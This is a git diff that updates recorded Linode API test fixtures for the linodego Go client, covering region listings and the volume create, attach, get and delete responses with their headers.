"de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -76,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:10 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -97,9 +289,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -118,7 +313,7 @@ interactions: url: https://api.linode.com/v4beta/volumes method: POST response: - body: '{"id": 566469, "status": "creating", "label": "go-vol-test-def", "created": + body: '{"id": 4210941, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -135,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "317" + - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:10 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -156,16 +355,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"linode_id":39430393,"config_id":41975940}' + body: '{"linode_id":59542537,"config_id":62729161}' form: {} headers: Accept: @@ -174,13 +376,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566469/attach + url: https://api.linode.com/v4beta/volumes/4210941/attach method: POST response: - body: '{"id": 566469, "status": "creating", "label": "go-vol-test-def", "created": + body: '{"id": 4210941, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": - 39430393, "linode_label": "go-test-ins-7i9d535p9kiz", "region": "ap-west", "tags": + 59542537, "linode_label": "go-test-ins-5647vkb87baw", "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: @@ -194,15 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "343" + - "344" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:11 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -215,9 +421,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -233,13 +442,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566469 + url: https://api.linode.com/v4beta/volumes/4210941 method: GET response: - body: '{"id": 566469, "status": "active", "label": "go-vol-test-def", "created": + body: '{"id": 4210941, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": - 39430393, "linode_label": "go-test-ins-7i9d535p9kiz", "region": "ap-west", "tags": + 59542537, "linode_label": "go-test-ins-5647vkb87baw", "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: @@ -253,16 +462,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "341" + - "342" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -276,9 +488,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -294,7 +509,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566469 + url: https://api.linode.com/v4beta/volumes/4210941 method: DELETE response: body: '{}' @@ -310,15 +525,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:51 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -331,9 +550,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVolume_WaitForLinodeID_waiting.yaml b/test/integration/fixtures/TestVolume_WaitForLinodeID_waiting.yaml index 40417bab0..076a696b4 100644 --- a/test/integration/fixtures/TestVolume_WaitForLinodeID_waiting.yaml +++ b/test/integration/fixtures/TestVolume_WaitForLinodeID_waiting.yaml @@ -11,13 +11,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566469 + url: https://api.linode.com/v4beta/volumes/4210941 method: GET response: - body: '{"id": 566469, "status": "active", "label": "go-vol-test-def", "created": + body: '{"id": 4210941, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": - 39430393, "linode_label": "go-test-ins-7i9d535p9kiz", "region": "ap-west", "tags": + 59542537, "linode_label": "go-test-ins-5647vkb87baw", "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: @@ -31,16 +31,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "341" + - "342" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:46 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -54,9 +57,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestWaitForResourceFree.yaml b/test/integration/fixtures/TestWaitForResourceFree.yaml index 35aa07ed1..0dddadef0 100644 --- a/test/integration/fixtures/TestWaitForResourceFree.yaml +++ b/test/integration/fixtures/TestWaitForResourceFree.yaml @@ -15,186 +15,262 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, - 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, - 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 